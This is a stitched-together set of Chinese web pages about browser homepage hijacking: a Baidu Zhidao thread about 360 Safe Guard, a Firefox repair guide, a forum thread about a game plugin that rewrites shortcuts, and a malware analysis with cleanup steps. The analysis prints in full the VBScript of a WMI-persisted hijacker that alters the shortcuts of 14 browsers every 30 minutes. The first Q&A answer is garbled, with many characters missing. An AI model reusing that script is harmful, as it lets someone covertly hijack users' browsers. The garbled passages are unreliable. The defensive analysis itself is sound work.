天啦撸！！！昨天浏览器还正常，今天安了个360安全卫士，浏览器首页就被篡改了。我是小白一个，求各位_百度知道
天啦撸！！！昨天浏览器还正常，今天安了个360安全卫士，浏览器首页就被篡改了。我是小白一个，求各位
啦撸昨浏览器今安360安全卫士浏览器首页篡改我白求各位解决案线等
提问者采纳
其实解决办打电脑控制面板360所软件统统卸载百~~家想卸载360安全卫士办~虽360安全卫士锁定浏览器主页功能默认启并且想要关非非困难关闭按钮藏深要按照三步做轻松搞定第步打360安全卫士软件界面右找安全防护
第二步点击进入安全防护浏览器防护找网首页防护第三步点网首页防护锁定浏览器主页面选项选关闭<img class="word-replace" src="/api/getdecpic?picenc=0ad0安全卫士弹非危言耸听窗口&#8203;直接视<img class="word-replace" src="/api/getdecpic?picenc=0ad0惯用式恐吓用户直接选确定
提问者评价
其他类似问题
为您推荐：
其他5条回答
&#160;&#160;&#160;&#160;据网易科技报道，12月19日百度公司起诉360公司侵犯名誉权案中，360公司又一次败诉（查看详情）。之前360公司已多次因不正当竞争、诋毁竞争对手、恶意误导用户、侵犯用户隐私等原因被腾讯，百度，金山等多家互联网公司先后告上法庭。
一、360公司劫持不断，搜狗、百度都中招
&#160;&#160;&#160;&#160;&#160;&#160; 虽然360公司多次面临官司和公众压力，但并没有停止种种劫持行为。百度、搜狗都成为360的劫持对象：
百度诉360劫持流量案终审胜诉 360判赔40万
360隐秘劫持搜狗 安全软件成持枪匪徒危害网民&#160;&#160;&#160;&#160;
下图为百度公司诉360公司案件的判决书：
二、360安全卫士篡改默认浏览器和主页，直接损害技术员推广成果
&#160;&#160;&#160;&#160;&#160;&#160; 工作人员对...
②禁止360自动更新。③关闭扫描高危漏洞。
这个是360安全卫士自己自动设置的，打开浏览器它会自动弹出一个设置浏览器首页的设置，点一下，然后360会弹一个警报，它下面会有一个暂不设置，点一下，或者点掉就可以了
你是啥浏览器？ie的话安全性不高，篡改了就罢了，但是360没有篡改其他的浏览器的资格啊
打开浏览器，右上角有个工具，点开里面的internet选项，再点使用空白页就OK
感谢二楼分，二楼一生平安
360安全卫士的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁你的位置： >
> 火狐浏览器主页被篡改后的5种修复办法
最近发现有恶意软件及木马病毒篡改用户火狐的主页，侵犯用户的选择权。如果你的火狐被篡改，可以参考以下火狐浏览器主页被篡改后的5种修复办法，维护自己的权益。
首先用户可以尝试通过选项 &#8212; 常规 &#8212; 启动，修改火狐主页。
如果发现无法修改，或者修改后无效，可以参考以下的解决方案。
重设主页请解决方案一，选项中主页无法修改请解决方案二，启动火狐发现主页并非自己设置的主页，请参考解决方案三到五。
解决方案一：
进行主页修复，重设火狐主页，详情请访问：
解决方案二：
如果无法修改选项中火狐主页的地址，可能中了恶意扩展或者火狐配置被篡改。
详情请访问：
解决方案三：
如果启动的页面不是你设置的主页，则有可能是恶意软件篡改了火狐桌面的快捷方式。
1.请您先删除启动火狐浏览器的快捷方式：桌面上的快捷方式右键点击选择&#8221;删除&#8221;，开始菜单中的快捷方式右键点击选择&#8221;从列表中删除&#8221;，任务栏的快捷方式右键点击选择&#8221;将此程序从任务栏解锁&#8221;。
删除桌面快捷方式
删除开始菜单快捷方式
删除任务栏快捷方式
2.进入您的火狐安装目录（默认为&#8221;C:\Program Files\Mozilla Firefox&#8221;）找到&#8221;firefox.exe&#8221;文件，右键点击选择“发送到-桌面快捷方式“，再通过新建的火狐快捷方式打开火狐浏览器，看此问题是否已得到解决。
解决方案四：
如果删除快捷方式还不行，同时如果你安装了快播。可能是快播劫持你的主页。
解决方法参考链接：
解决方案五：
如果不是快播，近期也有病毒劫持火狐主页，中关村在线的中关村安装器会携带该病毒。
解决方法参考链接：
如果以上方式无效，可以与我们取得进一步联络（请联系：ychen(），了解您最近安装了哪些软件导致此问题的发生。谢谢。火狐永远捍卫用户的权益。
转载请注明： &
与本文相关的文章后使用快捷导航没有帐号？
查看: 1605|回复: 19
新人欢迎积分0 阅读权限40积分294精华0UID帖子金钱219 威望0
Lv.4, 积分 294, 距离下一级还需 706 积分
UID帖子威望0 多玩草0 草
最近转光无聊之下又装B的下载了DPS插件，结果··········偷偷改你浏览器主页有木有！！！！一点提示都木有，很郁闷有木有！！！！！！！！！！本来不想教大家的，毕竟人家免费做插件想赚点外快也无可厚非，可是，没有任何提示就改别人主页，这种做法我真心忍受不了！！！！于是教大家如何防止主页被改。
& && &第一个方法，插件只改了桌面快捷键的链接地址，如果你想要快速实现浏览器不被修改，不要在桌面建立任何浏览器快捷键。
& && &第二个方法，右键桌面浏览器的快捷方式，在快捷方式选项卡你会发现路径被加了一段话，没错就是指向被修改的链接，删掉除了你浏览器安装地址以外的这个链接，如果无法删除把常规选项卡的只读后面的打钩去掉就行，然后选择安全选项卡，点击编辑，如果你不懂你当前的活动用户是哪个，把所有的用户的写入的拒绝选项打钩，然后点击确定。具体不懂的可以看截图。
& && &OK，你可以愉快的使用插件而不用当心主页被改了。
& && &最后申明，如果对插件的制作者带来了不便或损失，我表示深感歉意，这种行为我真的不能忍，抱歉。
23:28:54 上传
23:28:55 上传
：用了沙箱还有效果么？没试过。&
&我在插件外套了个沙盘，随意改。&
新人欢迎积分1 阅读权限105积分100946精华0UID帖子金钱108146 威望2
来自水星的Lv15大水缇(?????)?
Lv.12, 积分 100946, 距离下一级还需 34054 积分
UID帖子威望2 多玩草200 草
前排看看楼楼的方法（ˉ﹃ˉ）
新人欢迎积分0 阅读权限60积分4184精华0UID帖子金钱3552 威望0
捡到一颗小瓜子
Lv.6, 积分 4184, 距离下一级还需 816 积分
UID帖子威望0 多玩草60 草
装之前就提示会修改你的浏览器主页，没看见？！
新人欢迎积分0 阅读权限80积分13627精华0UID帖子金钱24203 威望0
好吃的豆沙包
Lv.8, 积分 13627, 距离下一级还需 6373 积分
UID帖子威望0 多玩草33 草
赚点钱维持服务器费用是很正常的我可以理解
新人欢迎积分0 阅读权限40积分294精华0UID帖子金钱219 威望0
Lv.4, 积分 294, 距离下一级还需 706 积分
UID帖子威望0 多玩草0 草
分分隔空间 发表于
装之前就提示会修改你的浏览器主页，没看见？！
前天下载的这个插件，不好意思我还真没看到有提示说会修改浏览器主页的
&那是因为之前已经提示过了，重新下载的貌似不会再次提醒~&
新人欢迎积分1 阅读权限50积分1092精华0UID帖子金钱12833 威望0
Lv.5, 积分 1092, 距离下一级还需 1408 积分
UID帖子威望0 多玩草0 草
? 赚点钱维持服务器费用是很正常的我可以理解
还将旧来意 怜取眼前人
新人欢迎积分1 阅读权限80积分17441精华0UID帖子金钱46171 威望6
Lv.8, 积分 17441, 距离下一级还需 2559 积分
UID帖子威望6 多玩草1030 草
多谢分享。。。。我才不用插件。。？？23333
新人欢迎积分0 阅读权限60积分4184精华0UID帖子金钱3552 威望0
捡到一颗小瓜子
Lv.6, 积分 4184, 距离下一级还需 816 积分
UID帖子威望0 多玩草60 草
前天下载的这个插件，不好意思我还真没看到有提示说会修改浏览器主页的赚点钱维持服务器费用是很正常的希望大家理解
(227.25 KB, 下载次数: 0)
00:09:24 上传
下载次数: 0
新人欢迎积分1 阅读权限80积分19863精华0UID帖子金钱31423 威望0
不要给我打电话，因为我会叫你发短信！
Lv.8, 积分 19863, 距离下一级还需 137 积分
UID帖子威望0 多玩草0 草
用着别人的东西肯定要付出点代价
新人欢迎积分0 阅读权限70积分8828精华0UID帖子金钱29067 威望0
华南5飘过╭(╯3╰)╮
Lv.7, 积分 8828, 距离下一级还需 1172 积分
UID帖子威望0 多玩草488 草
他有提示过会改首页啊0,0咱用了很久了有时还会随便点点那个首页的说......
新人欢迎积分1 阅读权限80积分11956精华0UID帖子金钱15558 威望10
那些你所在意的和自以为能让旁人瞩目的，大多毫无意义
Lv.8, 积分 11956, 距离下一级还需 8044 积分
UID帖子威望10 多玩草425 草
新人欢迎积分1 阅读权限70积分5449精华0UID帖子金钱21475 威望0
Lv.7, 积分 5449, 距离下一级还需 4551 积分
UID帖子威望0 多玩草530 草
反正自己的平时首页是百度，改了就改了呗，点一下就好
冰与火之歌
新人欢迎积分0 阅读权限50积分2417精华0UID帖子金钱7498 威望0
Lv.5, 积分 2417, 距离下一级还需 83 积分
UID帖子威望0 多玩草440 草
昂，插件用了好久了，一直没被改过啊？0-0
新人欢迎积分0 阅读权限70积分5059精华0UID帖子金钱5646 威望0
Lv.7, 积分 5059, 距离下一级还需 4941 积分
UID帖子威望0 多玩草0 草
楼主做得好
新人欢迎积分0 阅读权限40积分294精华0UID帖子金钱219 威望0
Lv.4, 积分 294, 距离下一级还需 706 积分
UID帖子威望0 多玩草0 草
分分隔空间 发表于
赚点钱维持服务器费用是很正常的希望大家理解
我点开始直接进游戏了，没有任何提示
龙之谷活跃勋章
在龙之谷版面活跃而奖励的勋章
365天！天天有你
连续签到1年奖励
手机论坛勋章
APP发帖双倍积分，登陆即送勋章！
马年新春勋章
手机APP马年迎春，马上有钱！
爱情守望者
爱情守望者
节日守望者
节日守望者
活动奖励勋章
活动奖励勋章
初级在线标兵
论坛在线时间达1000小时即可申请
需要金钱：1100
Powered by
手机盒子客户端点击或扫描下载IE,火狐以及其他浏览器主页被劫持到/?kunown的解决办法[图文]
今天在打开IE与火狐浏览器的时候，发现默认打开的页面是/?kunown，不知道绑定到怎么垃圾软件里面了，应了一句话懂得越多对社会的危害越大，原来就是通过wmi定时执行vbs，这里分享下解决方法
近日在网上相续看到有网友表示自己在下载使用了VeryCD下载链接查看器这款工具以后，再打开浏览器就被直接跳转到 /?kunown 这个导航页面了，而且打开多个浏览器：IE、Chrome、Firefox、Opera、Safari、Maxthon，均相同症状，检查浏览器首页设置&&均正常！
最后发现，原来快速启动栏的IE浏览器快捷命令被其修改，修改后的类似如下图，于是认为就是普通的修改快捷方式，手工删除 2345 网址的部分，但半小时后再次被更改了。考虑到可能加载了启动项，在注册表、启动项、服务等中均未查找到相关信息，重启后IE快捷方式被重新篡改。尝试了事件查看器和任务计划，均未在里面查出任何信息。
之后又安装了超级兔子、360、exterminateit等工具进行检查，也未检出。
打开ProcessMonitor进行监视，发现每隔30分钟出现一个scrcons.exe进程自动启动并修改快速启动栏的命令，然后自动关闭（幸亏是30分钟一次，你要是24小时一次，那我就杯具了&&），修改Win7下opera快速启动图标路径类似如下：
C:\Users\iefans\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera12.01 1532.lnk
查找资料，发现这应该是一个通过WMI发起的定时自动运行脚本。要查看WMI事件，到以下地址下载WMITool并安装
安装后打开WMI event viewer，点击左上角register for events，弹出Connect to namespace框，填入&root\subscription&（手工复制粘贴啊，默认出现的不是这个），确定，出现下图：
点击左侧_EventFilter:Name=&unown_filter&，再至右侧右键点击ActiveScriptEventConsume r Name=&unown&，右键选择view instant properties，如下图：
查看ScriptText项可知，这是一段VBScript调用系统服务间隔30分钟执行一次，将所有浏览器调用加上&/?kunown&！抓住你了~！隐藏的够深，没常驻进程，没有文件（把自己存储在WMI数据库中）。
受到影响的浏览器有（各色浏览器，差不多齐了）：
&IEXPLORE.EXE&, &chrome.exe&, &firefox.exe&, &360chrome.exe&, &360SE.exe&, &SogouExplorer.exe&, &opera.exe&, &Safari.exe&, &Maxthon.exe&, &TTraveler.exe&, &TheWorld.exe&, &baidubrowser.exe&, &liebao.exe&, &QQBrowser.exe&
具体代码如下：
On Error Resume Next:Const link = &/?kunown&:browsers = Array(&IEXPLORE.EXE&, &chrome.exe&, &firefox.exe&, &360chrome.exe&, &360SE.exe&, &SogouExplorer.exe&, &opera.exe&, &Safari.exe&, &Maxthon.exe&, &TTraveler.exe&, &TheWorld.exe&, &baidubrowser.exe&, &liebao.exe&, &QQBrowser.exe&):Set oDic = CreateObject(&scripting.dictionary&):For Each browser In browsers:oDic.Add LCase(browser), browser:Next:Set fso = CreateObject(&Scripting.Filesystemobject&):Set WshShell = CreateObject(&Wscript.Shell&):strDesktop = &C:\Users\Gemini\Desktop&:strAllUsersDesktop = WshShell.SpecialFolders(&AllUsersDesktop&):QuickLaunch = &C:\Users\Gemini\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch&:UserPinnedStartMenu = QuickLaunch & &\User Pinned\StartMenu&:UserPinnedTaskBar = QuickLaunch & &\User Pinned\TaskBar&:For Each file In fso.GetFolder(strDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = &lnk& Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & &.& & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = &lnk& Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & &.& & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file In fso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) = &lnk& Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & &.& & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedStartMenu) Then:For Each file In fso.GetFolder(UserPinnedStartMenu).Files:If LCase(fso.GetExtensionName(file.Path)) = &lnk& Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & &.& & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each file In fso.GetFolder(UserPinnedTaskBar).Files:If LCase(fso.GetExtensionName(file.Path)) = &lnk& Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & &.& & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If
最后，清除方法：在WMI event viewer中将&_EventFilter:Name=&unown_filter&&项目右键删除！
到WMITool安装路径（例如：C:\Program Files (x86)\WMI Tools）下，右键点击wbemeventviewer.exe，选择以管理员身份运行！删之！
还没完，还要手动将快速启动栏中，将各个浏览器快捷命令中的/?kunown去掉！
暂时就这么多了，还有没有其它影响的话，用用再看吧！
解决方法来自：